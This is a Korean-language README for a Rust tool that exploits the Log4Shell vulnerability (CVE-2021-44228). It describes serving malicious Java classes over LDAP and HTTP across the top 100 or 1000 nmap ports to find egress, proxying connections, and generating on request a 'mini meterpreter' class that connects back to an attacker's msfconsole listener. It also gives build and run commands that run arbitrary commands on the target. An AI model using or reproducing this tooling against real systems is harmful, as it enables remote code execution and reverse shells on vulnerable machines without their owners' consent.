
Log 4 Shell (log 4 j - CVE-2021-44228)의 Rust 구현
Log 4 Shell (log4j - CVE-2021-44228)의 Rust 구현
빌드하려면 cargo +nightly build 실행
이 버전을 사용하면 명령 클래스를 빌드하고, 악용된 Java 앱의 스레드에서 실행되는 미니 meterpreter를 동적으로 제공하며, LDAP 및 HTTP 서버를 실행할 수 있습니다. 이 버전은 동일한 포트에서 LDAP 및 HTTP 요청을 모두 처리합니다.
여러 포트에서 동시에 실행하여 대상 컴퓨터에서 이그레스(egress)에 사용 가능한 포트를 확인할 수 있습니다.
요청이 LDAP 또는 HTTP가 아닌 경우, 동일한 포트를 사용하여 다른 컴퓨터로 요청을 프록시할 수 있습니다. 대상 컴퓨터에 이그레스 포트가 하나만 있는 경우, LDAP, HTTP를 제공하고 동일한 포트를 사용하여 meterpreter 연결을 다른 로컬 포트나 다른 컴퓨터로 프록시할 수 있습니다.
이 버전은 더 이상 javac 설치가 필요하지 않습니다. 여전히 동적 "클래스 빌드"를 지원하지만, 실행 파일에 포함된 사전 컴파일된 클래스를 변경하여 수행합니다.
이 버전은 nmap이 정의한 상위 100개 및 상위 1000개 포트를 추가합니다. --pC100 또는 --pC1000 옵션을 사용하세요.
일반적인 사용 사례는 명령 클래스를 빌드한 다음 서버를 실행하는 것입니다.
l4srs build -c Cmd1 -l firefox -w Calc.exe
l4srs build -c TouchMe -l "touch /tmp/me"
그런 다음 Cmd1을 요청하면 Linux에서는 firefox가 실행되고 Windows에서는 Calc가 실행됩니다. TouchMe를 요청하면 Linux에서는 /tmp/me를 터치하고 Windows에서는 아무것도 실행되지 않습니다.
그런 다음 l4srs run --pC100을 실행하여 상위 100개 포트에서 서버를 시작하고 Cmd1 또는 TouchMe를 제공할 수 있습니다.
추가로 MM:Host:port를 요청하면 요청의 호스트와 포트에 연결되는 미니 meterpreter 클래스가 동적으로 생성됩니다. msfconsole이 10.20.30.40, 포트 4444에서 실행 중인 경우 MM:10.20.30.40:4444를 요청하면 됩니다. 이는 빌드 명령으로 빌드되지 않고 요청 시 동적으로 빌드됩니다.
이 버전은 메모리 내 캐시에서 클래스를 빌드하고 제공할 수 있습니다. 모든 동적 MiniMeterpreter 클래스는 더 이상 파일 시스템에 접근하지 않습니다. 또한 2개의 새로운 플래그가 추가되었습니다. 첫 번째는 --no_fs로, 파일 시스템에서 어떤 파일도 제공하지 않도록 강제합니다. 다른 하나는 --allow_cmd로, 열린 포트에서 /build_cmd에 POST 요청과 class_name, l_cmd, w_cmd 필드가 포함된 JSON 본문을 보내 동적 클래스 빌드를 활성화합니다.